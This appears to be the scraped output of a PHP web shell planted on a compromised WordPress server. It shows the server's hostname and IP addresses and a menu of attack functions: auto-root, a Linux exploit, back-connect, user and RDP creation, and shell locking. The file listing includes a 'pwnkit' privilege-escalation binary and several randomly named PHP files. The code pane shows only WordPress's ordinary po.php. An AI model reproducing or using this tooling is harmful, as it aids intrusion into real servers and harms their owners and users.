Linux europe1.dehosting.ir 3.10.0-962.3.2.lve1.5.70.el7.x86_64 #1 SMP Mon May 30 08:45:55 UTC 2022 x86_64
LiteSpeed
: 23.88.8.221 | : 3.144.21.237
Cant Read [ /etc/named.conf ]
7.4.33
gamefaq1
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
gamefaq1 /
public_html /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
IXR
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Requests
[ DIR ]
drwxr-xr-x
SimplePie
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
block-patterns
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
customize
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
php-compat
[ DIR ]
drwxr-xr-x
pomo
[ DIR ]
drwxr-xr-x
sodium_compat
[ DIR ]
drwxr-xr-x
style-engine
[ DIR ]
drwxr-xr-x
theme-compat
[ DIR ]
drwxr-xr-x
.htaccess
515
B
-r-xr-xr-x
HpjjfMbKKk-20250118225659-2025...
78.74
KB
-rw-r--r--
HpjjfMbKKk-20250118225659-2025...
78.74
KB
-rw-r--r--
HpjjfMbKKk-20250118225659-2025...
78.74
KB
-rw-r--r--
HpjjfMbKKk-20250118225659-2025...
78.74
KB
-rw-r--r--
HpjjfMbKKk-20250118225659-2025...
78.74
KB
-rw-r--r--
HpjjfMbKKk-20250119024119-2025...
78.74
KB
-rw-r--r--
HpjjfMbKKk-20250119024119-2025...
78.74
KB
-rw-r--r--
HpjjfMbKKk-20250119024119.php
78.74
KB
-rw-r--r--
HpjjfMbKKk-20250119113916-2025...
78.74
KB
-rw-r--r--
HpjjfMbKKk-20250119113916-2025...
78.74
KB
-rw-r--r--
HpjjfMbKKk-20250119113916.php
78.74
KB
-rw-r--r--
HpjjfMbKKk-20250119141516-2025...
78.74
KB
-rw-r--r--
HpjjfMbKKk.php
78.74
KB
-rw-r--r--
Item.php
96.82
KB
-rw-r--r--
Renderer.php
6.65
KB
-rw-r--r--
atomlib.php
11.67
KB
-rw-r--r--
author-template.php
18.51
KB
-rw-r--r--
block-editor-20250124194315.ph...
27.27
KB
-rw-r--r--
block-editor.php
27.27
KB
-rw-r--r--
block-patterns.php
12.64
KB
-rw-r--r--
block-template.php
12
KB
-rw-r--r--
blocks.php
71.18
KB
-rw-r--r--
bookmark-template.php
14.88
KB
-rw-r--r--
cache-compat.php
5.83
KB
-rw-r--r--
cache.php
13.16
KB
-rw-r--r--
canonical.php
33.27
KB
-rw-r--r--
capabilities.php
39.09
KB
-rw-r--r--
category-template.php
55.67
KB
-rw-r--r--
class-IXR-error.php
854
B
-rw-r--r--
class-IXR-message.php
0
B
-rw-r--r--
class-IXR.php
2.48
KB
-rw-r--r--
class-feed.php
529
B
-rw-r--r--
class-http.php
367
B
-rw-r--r--
class-json.php
42.66
KB
-rw-r--r--
class-oembed.php
401
B
-rw-r--r--
class-requests.php
2.18
KB
-rw-r--r--
class-simplepie.php
95.82
KB
-rw-r--r--
class-snoopy.php
36.83
KB
-rw-r--r--
class-walker-category-dropdown...
2.41
KB
-rw-r--r--
class-walker-category.php
8.28
KB
-rw-r--r--
class-walker-comment.php
13.88
KB
-rw-r--r--
class-walker-nav-menu.php
11.05
KB
-rw-r--r--
class-walker-page-dropdown.php
2.65
KB
-rw-r--r--
class-wp-admin-bar.php
16.96
KB
-rw-r--r--
class-wp-block-list.php
4.66
KB
-rw-r--r--
class-wp-block-parser-block.ph...
2.5
KB
-rw-r--r--
class-wp-block-pattern-categor...
5.25
KB
-rw-r--r--
class-wp-block-type-registry.p...
4.9
KB
-rw-r--r--
class-wp-block-type.php
14.4
KB
-rw-r--r--
class-wp-block.php
8.2
KB
-rw-r--r--
class-wp-classic-to-block-menu...
3.99
KB
-rw-r--r--
class-wp-comment-query.php
46.71
KB
-rw-r--r--
class-wp-comment.php
9.15
KB
-rw-r--r--
class-wp-customize-control.php
25.24
KB
-rw-r--r--
class-wp-customize-manager.php
197.52
KB
-rw-r--r--
class-wp-customize-panel.php
10.42
KB
-rw-r--r--
class-wp-customize-setting.php
29.19
KB
-rw-r--r--
class-wp-customize-widgets.php
69.93
KB
-rw-r--r--
class-wp-date-query.php
34.88
KB
-rw-r--r--
class-wp-dependencies.php
13.73
KB
-rw-r--r--
class-wp-duotone.php
38.52
KB
-rw-r--r--
class-wp-embed.php
15.62
KB
-rw-r--r--
class-wp-error.php
7.33
KB
-rw-r--r--
class-wp-fatal-error-handler.p...
7.69
KB
-rw-r--r--
class-wp-feed-cache-transient....
2.53
KB
-rw-r--r--
class-wp-feed-cache.php
969
B
-rw-r--r--
class-wp-hook.php
15.63
KB
-rw-r--r--
class-wp-http-cookie.php
7.22
KB
-rw-r--r--
class-wp-http-curl.php
12.25
KB
-rw-r--r--
class-wp-http-encoding.php
6.53
KB
-rw-r--r--
class-wp-http-ixr-client.php
3.42
KB
-rw-r--r--
class-wp-http-proxy.php
5.84
KB
-rw-r--r--
class-wp-http-requests-hooks.p...
1.97
KB
-rw-r--r--
class-wp-http-requests-respons...
4.3
KB
-rw-r--r--
class-wp-http-response.php
2.91
KB
-rw-r--r--
class-wp-http-streams.php
18.8
KB
-rw-r--r--
class-wp-http.php
39.63
KB
-rw-r--r--
class-wp-image-editor-gd.php
17.11
KB
-rw-r--r--
class-wp-image-editor.php
17.17
KB
-rw-r--r--
class-wp-locale-switcher.php
6.41
KB
-rw-r--r--
class-wp-matchesmapregex.php
1.78
KB
-rw-r--r--
class-wp-meta-query.php
29.82
KB
-rw-r--r--
class-wp-metadata-lazyloader.p...
6.67
KB
-rw-r--r--
class-wp-network-query.php
18.84
KB
-rw-r--r--
class-wp-network.php
11.9
KB
-rw-r--r--
class-wp-oembed-controller.php
6.72
KB
-rw-r--r--
class-wp-oembed.php
30.66
KB
-rw-r--r--
class-wp-paused-extensions-sto...
4.94
KB
-rw-r--r--
class-wp-post-type.php
29.28
KB
-rw-r--r--
class-wp-post.php
6.33
KB
-rw-r--r--
class-wp-query.php
148.03
KB
-rw-r--r--
class-wp-recovery-mode-cookie-...
6.72
KB
-rw-r--r--
class-wp-recovery-mode-email-s...
10.92
KB
-rw-r--r--
class-wp-recovery-mode-key-ser...
4.4
KB
-rw-r--r--
class-wp-recovery-mode.php
11.17
KB
-rw-r--r--
class-wp-rewrite.php
61.94
KB
-rw-r--r--
class-wp-role.php
2.46
KB
-rw-r--r--
class-wp-scripts.php
27.99
KB
-rw-r--r--
class-wp-session-tokens.php
7.28
KB
-rw-r--r--
class-wp-simplepie-file.php
3.3
KB
-rw-r--r--
class-wp-simplepie-sanitize-ks...
1.73
KB
-rw-r--r--
class-wp-site-query.php
30.29
KB
-rw-r--r--
class-wp-styles.php
10.64
KB
-rw-r--r--
class-wp-tax-query.php
19.09
KB
-rw-r--r--
class-wp-taxonomy.php
18.13
KB
-rw-r--r--
class-wp-textdomain-registry.p...
5.84
KB
-rw-r--r--
class-wp-theme-json-data.php
1.52
KB
-rw-r--r--
class-wp-theme-json-resolver.p...
24.06
KB
-rw-r--r--
class-wp-theme-json-schema.php
4.12
KB
-rw-r--r--
class-wp-theme-json.php
126.52
KB
-rw-r--r--
class-wp-theme.php
65.03
KB
-rw-r--r--
class-wp-user-meta-session-tok...
2.92
KB
-rw-r--r--
class-wp-user-query.php
42.37
KB
-rw-r--r--
class-wp-user-request.php
2.17
KB
-rw-r--r--
class-wp-user.php
22.23
KB
-rw-r--r--
class-wp-walker.php
12.86
KB
-rw-r--r--
class-wp-widget-factory.php
3.27
KB
-rw-r--r--
class-wp-widget.php
17.96
KB
-rw-r--r--
class-wp-xmlrpc-server.php
209.12
KB
-rw-r--r--
class-wp.php
25.51
KB
-rw-r--r--
class-wpdb.php
116.66
KB
-rw-r--r--
class.wp-dependencies.php
373
B
-rw-r--r--
class.wp-scripts.php
343
B
-rw-r--r--
comment-template.php
99.05
KB
-rw-r--r--
compat.php
14.86
KB
-rw-r--r--
content.min-20250119070815-202...
28.17
KB
-rw-r--r--
content.min-20250119102816-202...
28.17
KB
-rw-r--r--
content.min-20250119102816-202...
28.17
KB
-rw-r--r--
content.min-20250119125038-202...
28.17
KB
-rw-r--r--
content.min-20250119125038.css
28.17
KB
-rw-r--r--
content.min-20250119142621-202...
28.17
KB
-rw-r--r--
content.min-20250119142621-202...
28.17
KB
-rw-r--r--
content.min-20250119142621-202...
28.17
KB
-rw-r--r--
content.min-20250119142621-202...
28.17
KB
-rw-r--r--
content.min-20250119142621.css
28.17
KB
-rw-r--r--
content.min-20250120025915.css
28.17
KB
-rw-r--r--
content.min.css
28.17
KB
-rw-r--r--
customize-preview.min.css
2.8
KB
-rw-r--r--
date.php
400
B
-rw-r--r--
default-constants.php
10.91
KB
-rw-r--r--
default-filters.php
33.7
KB
-rw-r--r--
default-widgets.php
2.17
KB
-rw-r--r--
editor-20250110222529-20250119...
79.28
KB
-rw-r--r--
editor-20250110222529.css
79.28
KB
-rw-r--r--
editor-elements.min-2025011823...
78
B
-rw-r--r--
editor-elements.min-2025011911...
78
B
-rw-r--r--
editor-elements.min.css
78
B
-rw-r--r--
elements-rtl.css
39
B
-rw-r--r--
elements.min-20250118225201-20...
34
B
-rw-r--r--
elements.min-20250118225201-20...
34
B
-rw-r--r--
elements.min-20250118225201.cs...
34
B
-rw-r--r--
elements.min-20250119114351.cs...
34
B
-rw-r--r--
elements.min.css
34
B
-rw-r--r--
error-protection.php
4.02
KB
-rw-r--r--
error_log
69.91
KB
-rw-r--r--
error_log-20250118231501.
3.86
KB
-rw-r--r--
error_log-20250120164611.
3.86
KB
-rw-r--r--
feed-atom.php
2.98
KB
-rw-r--r--
feed-rss.php
1.16
KB
-rw-r--r--
feed-rss2-comments.php
3.98
KB
-rw-r--r--
feed-rss2.php
3.71
KB
-rw-r--r--
feed.php
24.88
KB
-rw-r--r--
fonts.php
2.28
KB
-rw-r--r--
formatting.php
327.14
KB
-rw-r--r--
functions.wp-scripts-202501241...
14.41
KB
-rw-r--r--
functions.wp-scripts.php
14.41
KB
-rw-r--r--
functions.wp-styles.php
8.38
KB
-rw-r--r--
general-template.php
163.79
KB
-rw-r--r--
getid3.php
78.59
KB
-rw-r--r--
header-embed.php
702
B
-rw-r--r--
http.php
23.29
KB
-rw-r--r--
https-detection.php
5.53
KB
-rw-r--r--
https-migration.php
4.63
KB
-rw-r--r--
l10n.php
61.31
KB
-rw-r--r--
locale.php
162
B
-rw-r--r--
media-template.php
60.37
KB
-rw-r--r--
media-views.min.css
45.32
KB
-rw-r--r--
meta.php
62.58
KB
-rw-r--r--
ms-default-constants.php
4.79
KB
-rw-r--r--
ms-default-filters.php
6.48
KB
-rw-r--r--
ms-deprecated.php
21.25
KB
-rw-r--r--
ms-files.php
2.65
KB
-rw-r--r--
ms-load.php
21.83
KB
-rw-r--r--
ms-network.php
3.69
KB
-rw-r--r--
ms-settings.php
4.03
KB
-rw-r--r--
nav-menu-template.php
25.18
KB
-rw-r--r--
pluggable-deprecated.php
6.12
KB
-rw-r--r--
pluggable.php
110.37
KB
-rw-r--r--
po.php
15
KB
-rw-r--r--
post-formats.php
6.93
KB
-rw-r--r--
post-thumbnail-template.php
10.07
KB
-rw-r--r--
post.php
271.8
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
query.php
36.8
KB
-rw-r--r--
registration-functions.php
200
B
-rw-r--r--
registration.php
200
B
-rw-r--r--
reset-rtl.min-20250119065619-2...
2.02
KB
-rw-r--r--
reset-rtl.min.css
2.02
KB
-rw-r--r--
revision.php
30.18
KB
-rw-r--r--
robots-template.php
5.06
KB
-rw-r--r--
rss-functions.php
255
B
-rw-r--r--
rss.php
22.48
KB
-rw-r--r--
script-loader.php
127.03
KB
-rw-r--r--
session.php
258
B
-rw-r--r--
sitemaps.php
3.16
KB
-rw-r--r--
spl-autoload-compat.php
441
B
-rw-r--r--
style-20250118230620-202501201...
2.93
KB
-rw-r--r--
style-20250118230620.css
2.93
KB
-rw-r--r--
style-20250119071540-202501192...
2.93
KB
-rw-r--r--
style-20250119071540-202501200...
2.93
KB
-rw-r--r--
style-20250119071540-202501201...
2.93
KB
-rw-r--r--
style-20250119071540-202501211...
2.93
KB
-rw-r--r--
style-20250119071540.css
2.93
KB
-rw-r--r--
style-20250119083412.css
2.93
KB
-rw-r--r--
style-20250119142536-202501201...
2.93
KB
-rw-r--r--
style-20250119142536-202501210...
2.93
KB
-rw-r--r--
style-20250119142536-202501210...
2.93
KB
-rw-r--r--
style-20250119142536-202501211...
2.93
KB
-rw-r--r--
style-20250119142536-202501220...
2.93
KB
-rw-r--r--
style-20250119142536-202501220...
2.93
KB
-rw-r--r--
style-engine-20250109194606-20...
4
KB
-rw-r--r--
style-rtl-20250119131609.css
3.88
KB
-rw-r--r--
style-rtl.css
3.88
KB
-rw-r--r--
style-rtl.min-20250119001628.c...
3.46
KB
-rw-r--r--
style-rtl.min-20250119101747.c...
3.46
KB
-rw-r--r--
style-rtl.min.css
3.46
KB
-rw-r--r--
style.css
2.93
KB
-rw-r--r--
style.min-20250110230742.css
1.65
KB
-rw-r--r--
template-canvas.php
544
B
-rw-r--r--
template-loader.php
2.94
KB
-rw-r--r--
template.php
22.97
KB
-rw-r--r--
theme-previews.php
2.76
KB
-rw-r--r--
theme-rtl.min-20250119184333.c...
2.55
KB
-rw-r--r--
theme-rtl.min.css
2.55
KB
-rw-r--r--
theme-templates.php
6.08
KB
-rw-r--r--
theme.php
137.98
KB
-rw-r--r--
themes.php
7.42
KB
-rw-r--r--
update.php
35.96
KB
-rw-r--r--
user.php
167.14
KB
-rw-r--r--
vars.php
6.06
KB
-rw-r--r--
version.php
928
B
-rw-r--r--
wp-blog-header-20250124202733....
2.69
KB
-rw-r--r--
wp-blog-header.php
2.69
KB
-r--r--r--
wp-cron.php
2.69
KB
-rw-r--r--
wp-db.php
445
B
-rw-r--r--
wp-pointer.min.js
0
B
-rw-r--r--
wpdialog.js
569
B
-rw-r--r--
zxcvbn.min.js
802.97
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : po.php
<?php /** * Class for working with PO files * * @version $Id: po.php 1158 2015-11-20 04:31:23Z dd32 $ * @package pomo * @subpackage po */ require_once __DIR__ . '/translations.php'; if ( ! defined( 'PO_MAX_LINE_LEN' ) ) { define( 'PO_MAX_LINE_LEN', 79 ); } /* * The `auto_detect_line_endings` setting has been deprecated in PHP 8.1, * but will continue to work until PHP 9.0. * For now, we're silencing the deprecation notice as there may still be * translation files around which haven't been updated in a long time and * which still use the old MacOS standalone `\r` as a line ending. * This fix should be revisited when PHP 9.0 is in alpha/beta. */ @ini_set( 'auto_detect_line_endings', 1 ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged /** * Routines for working with PO files */ if ( ! class_exists( 'PO', false ) ) : class PO extends Gettext_Translations { public $comments_before_headers = ''; /** * Exports headers to a PO entry * * @return string msgid/msgstr PO entry for this PO file headers, doesn't contain newline at the end */ public function export_headers() { $header_string = ''; foreach ( $this->headers as $header => $value ) { $header_string .= "$header: $value\n"; } $poified = PO::poify( $header_string ); if ( $this->comments_before_headers ) { $before_headers = $this->prepend_each_line( rtrim( $this->comments_before_headers ) . "\n", '# ' ); } else { $before_headers = ''; } return rtrim( "{$before_headers}msgid \"\"\nmsgstr $poified" ); } /** * Exports all entries to PO format * * @return string sequence of mgsgid/msgstr PO strings, doesn't containt newline at the end */ public function export_entries() { // TODO: Sorting. return implode( "\n\n", array_map( array( 'PO', 'export_entry' ), $this->entries ) ); } /** * Exports the whole PO file as a string * * @param bool $include_headers whether to include the headers in the export * @return string ready for inclusion in PO file string for headers and all the enrtries */ public function export( $include_headers = true ) { $res = ''; if ( $include_headers ) { $res .= $this->export_headers(); $res .= "\n\n"; } $res .= $this->export_entries(); return $res; } /** * Same as {@link export}, but writes the result to a file * * @param string $filename Where to write the PO string. * @param bool $include_headers Whether to include the headers in the export. * @return bool true on success, false on error */ public function export_to_file( $filename, $include_headers = true ) { $fh = fopen( $filename, 'w' ); if ( false === $fh ) { return false; } $export = $this->export( $include_headers ); $res = fwrite( $fh, $export ); if ( false === $res ) { return false; } return fclose( $fh ); } /** * Text to include as a comment before the start of the PO contents * * Doesn't need to include # in the beginning of lines, these are added automatically * * @param string $text Text to include as a comment. */ public function set_comment_before_headers( $text ) { $this->comments_before_headers = $text; } /** * Formats a string in PO-style * * @param string $input_string the string to format * @return string the poified string */ public static function poify( $input_string ) { $quote = '"'; $slash = '\\'; $newline = "\n"; $replaces = array( "$slash" => "$slash$slash", "$quote" => "$slash$quote", "\t" => '\t', ); $input_string = str_replace( array_keys( $replaces ), array_values( $replaces ), $input_string ); $po = $quote . implode( "{$slash}n{$quote}{$newline}{$quote}", explode( $newline, $input_string ) ) . $quote; // Add empty string on first line for readbility. if ( str_contains( $input_string, $newline ) && ( substr_count( $input_string, $newline ) > 1 || substr( $input_string, -strlen( $newline ) ) !== $newline ) ) { $po = "$quote$quote$newline$po"; } // Remove empty strings. $po = str_replace( "$newline$quote$quote", '', $po ); return $po; } /** * Gives back the original string from a PO-formatted string * * @param string $input_string PO-formatted string * @return string enascaped string */ public static function unpoify( $input_string ) { $escapes = array( 't' => "\t", 'n' => "\n", 'r' => "\r", '\\' => '\\', ); $lines = array_map( 'trim', explode( "\n", $input_string ) ); $lines = array_map( array( 'PO', 'trim_quotes' ), $lines ); $unpoified = ''; $previous_is_backslash = false; foreach ( $lines as $line ) { preg_match_all( '/./u', $line, $chars ); $chars = $chars[0]; foreach ( $chars as $char ) { if ( ! $previous_is_backslash ) { if ( '\\' === $char ) { $previous_is_backslash = true; } else { $unpoified .= $char; } } else { $previous_is_backslash = false; $unpoified .= isset( $escapes[ $char ] ) ? $escapes[ $char ] : $char; } } } // Standardize the line endings on imported content, technically PO files shouldn't contain \r. $unpoified = str_replace( array( "\r\n", "\r" ), "\n", $unpoified ); return $unpoified; } /** * Inserts $with in the beginning of every new line of $input_string and * returns the modified string * * @param string $input_string prepend lines in this string * @param string $with prepend lines with this string */ public static function prepend_each_line( $input_string, $with ) { $lines = explode( "\n", $input_string ); $append = ''; if ( "\n" === substr( $input_string, -1 ) && '' === end( $lines ) ) { /* * Last line might be empty because $input_string was terminated * with a newline, remove it from the $lines array, * we'll restore state by re-terminating the string at the end. */ array_pop( $lines ); $append = "\n"; } foreach ( $lines as &$line ) { $line = $with . $line; } unset( $line ); return implode( "\n", $lines ) . $append; } /** * Prepare a text as a comment -- wraps the lines and prepends # * and a special character to each line * * @access private * @param string $text the comment text * @param string $char character to denote a special PO comment, * like :, default is a space */ public static function comment_block( $text, $char = ' ' ) { $text = wordwrap( $text, PO_MAX_LINE_LEN - 3 ); return PO::prepend_each_line( $text, "#$char " ); } /** * Builds a string from the entry for inclusion in PO file * * @param Translation_Entry $entry the entry to convert to po string. * @return string|false PO-style formatted string for the entry or * false if the entry is empty */ public static function export_entry( $entry ) { if ( null === $entry->singular || '' === $entry->singular ) { return false; } $po = array(); if ( ! empty( $entry->translator_comments ) ) { $po[] = PO::comment_block( $entry->translator_comments ); } if ( ! empty( $entry->extracted_comments ) ) { $po[] = PO::comment_block( $entry->extracted_comments, '.' ); } if ( ! empty( $entry->references ) ) { $po[] = PO::comment_block( implode( ' ', $entry->references ), ':' ); } if ( ! empty( $entry->flags ) ) { $po[] = PO::comment_block( implode( ', ', $entry->flags ), ',' ); } if ( $entry->context ) { $po[] = 'msgctxt ' . PO::poify( $entry->context ); } $po[] = 'msgid ' . PO::poify( $entry->singular ); if ( ! $entry->is_plural ) { $translation = empty( $entry->translations ) ? '' : $entry->translations[0]; $translation = PO::match_begin_and_end_newlines( $translation, $entry->singular ); $po[] = 'msgstr ' . PO::poify( $translation ); } else { $po[] = 'msgid_plural ' . PO::poify( $entry->plural ); $translations = empty( $entry->translations ) ? array( '', '' ) : $entry->translations; foreach ( $translations as $i => $translation ) { $translation = PO::match_begin_and_end_newlines( $translation, $entry->plural ); $po[] = "msgstr[$i] " . PO::poify( $translation ); } } return implode( "\n", $po ); } public static function match_begin_and_end_newlines( $translation, $original ) { if ( '' === $translation ) { return $translation; } $original_begin = "\n" === substr( $original, 0, 1 ); $original_end = "\n" === substr( $original, -1 ); $translation_begin = "\n" === substr( $translation, 0, 1 ); $translation_end = "\n" === substr( $translation, -1 ); if ( $original_begin ) { if ( ! $translation_begin ) { $translation = "\n" . $translation; } } elseif ( $translation_begin ) { $translation = ltrim( $translation, "\n" ); } if ( $original_end ) { if ( ! $translation_end ) { $translation .= "\n"; } } elseif ( $translation_end ) { $translation = rtrim( $translation, "\n" ); } return $translation; } /** * @param string $filename * @return bool */ public function import_from_file( $filename ) { $f = fopen( $filename, 'r' ); if ( ! $f ) { return false; } $lineno = 0; while ( true ) { $res = $this->read_entry( $f, $lineno ); if ( ! $res ) { break; } if ( '' === $res['entry']->singular ) { $this->set_headers( $this->make_headers( $res['entry']->translations[0] ) ); } else { $this->add_entry( $res['entry'] ); } } PO::read_line( $f, 'clear' ); if ( false === $res ) { return false; } if ( ! $this->headers && ! $this->entries ) { return false; } return true; } /** * Helper function for read_entry * * @param string $context * @return bool */ protected static function is_final( $context ) { return ( 'msgstr' === $context ) || ( 'msgstr_plural' === $context ); } /** * @param resource $f * @param int $lineno * @return null|false|array */ public function read_entry( $f, $lineno = 0 ) { $entry = new Translation_Entry(); // Where were we in the last step. // Can be: comment, msgctxt, msgid, msgid_plural, msgstr, msgstr_plural. $context = ''; $msgstr_index = 0; while ( true ) { ++$lineno; $line = PO::read_line( $f ); if ( ! $line ) { if ( feof( $f ) ) { if ( self::is_final( $context ) ) { break; } elseif ( ! $context ) { // We haven't read a line and EOF came. return null; } else { return false; } } else { return false; } } if ( "\n" === $line ) { continue; } $line = trim( $line ); if ( preg_match( '/^#/', $line, $m ) ) { // The comment is the start of a new entry. if ( self::is_final( $context ) ) { PO::read_line( $f, 'put-back' ); --$lineno; break; } // Comments have to be at the beginning. if ( $context && 'comment' !== $context ) { return false; } // Add comment. $this->add_comment_to_entry( $entry, $line ); } elseif ( preg_match( '/^msgctxt\s+(".*")/', $line, $m ) ) { if ( self::is_final( $context ) ) { PO::read_line( $f, 'put-back' ); --$lineno; break; } if ( $context && 'comment' !== $context ) { return false; } $context = 'msgctxt'; $entry->context .= PO::unpoify( $m[1] ); } elseif ( preg_match( '/^msgid\s+(".*")/', $line, $m ) ) { if ( self::is_final( $context ) ) { PO::read_line( $f, 'put-back' ); --$lineno; break; } if ( $context && 'msgctxt' !== $context && 'comment' !== $context ) { return false; } $context = 'msgid'; $entry->singular .= PO::unpoify( $m[1] ); } elseif ( preg_match( '/^msgid_plural\s+(".*")/', $line, $m ) ) { if ( 'msgid' !== $context ) { return false; } $context = 'msgid_plural'; $entry->is_plural = true; $entry->plural .= PO::unpoify( $m[1] ); } elseif ( preg_match( '/^msgstr\s+(".*")/', $line, $m ) ) { if ( 'msgid' !== $context ) { return false; } $context = 'msgstr'; $entry->translations = array( PO::unpoify( $m[1] ) ); } elseif ( preg_match( '/^msgstr\[(\d+)\]\s+(".*")/', $line, $m ) ) { if ( 'msgid_plural' !== $context && 'msgstr_plural' !== $context ) { return false; } $context = 'msgstr_plural'; $msgstr_index = $m[1]; $entry->translations[ $m[1] ] = PO::unpoify( $m[2] ); } elseif ( preg_match( '/^".*"$/', $line ) ) { $unpoified = PO::unpoify( $line ); switch ( $context ) { case 'msgid': $entry->singular .= $unpoified; break; case 'msgctxt': $entry->context .= $unpoified; break; case 'msgid_plural': $entry->plural .= $unpoified; break; case 'msgstr': $entry->translations[0] .= $unpoified; break; case 'msgstr_plural': $entry->translations[ $msgstr_index ] .= $unpoified; break; default: return false; } } else { return false; } } $have_translations = false; foreach ( $entry->translations as $t ) { if ( $t || ( '0' === $t ) ) { $have_translations = true; break; } } if ( false === $have_translations ) { $entry->translations = array(); } return array( 'entry' => $entry, 'lineno' => $lineno, ); } /** * @param resource $f * @param string $action * @return bool */ public function read_line( $f, $action = 'read' ) { static $last_line = ''; static $use_last_line = false; if ( 'clear' === $action ) { $last_line = ''; return true; } if ( 'put-back' === $action ) { $use_last_line = true; return true; } $line = $use_last_line ? $last_line : fgets( $f ); $line = ( "\r\n" === substr( $line, -2 ) ) ? rtrim( $line, "\r\n" ) . "\n" : $line; $last_line = $line; $use_last_line = false; return $line; } /** * @param Translation_Entry $entry * @param string $po_comment_line */ public function add_comment_to_entry( &$entry, $po_comment_line ) { $first_two = substr( $po_comment_line, 0, 2 ); $comment = trim( substr( $po_comment_line, 2 ) ); if ( '#:' === $first_two ) { $entry->references = array_merge( $entry->references, preg_split( '/\s+/', $comment ) ); } elseif ( '#.' === $first_two ) { $entry->extracted_comments = trim( $entry->extracted_comments . "\n" . $comment ); } elseif ( '#,' === $first_two ) { $entry->flags = array_merge( $entry->flags, preg_split( '/,\s*/', $comment ) ); } else { $entry->translator_comments = trim( $entry->translator_comments . "\n" . $comment ); } } /** * @param string $s * @return string */ public static function trim_quotes( $s ) { if ( str_starts_with( $s, '"' ) ) { $s = substr( $s, 1 ); } if ( str_ends_with( $s, '"' ) ) { $s = substr( $s, 0, -1 ); } return $s; } } endif;
Close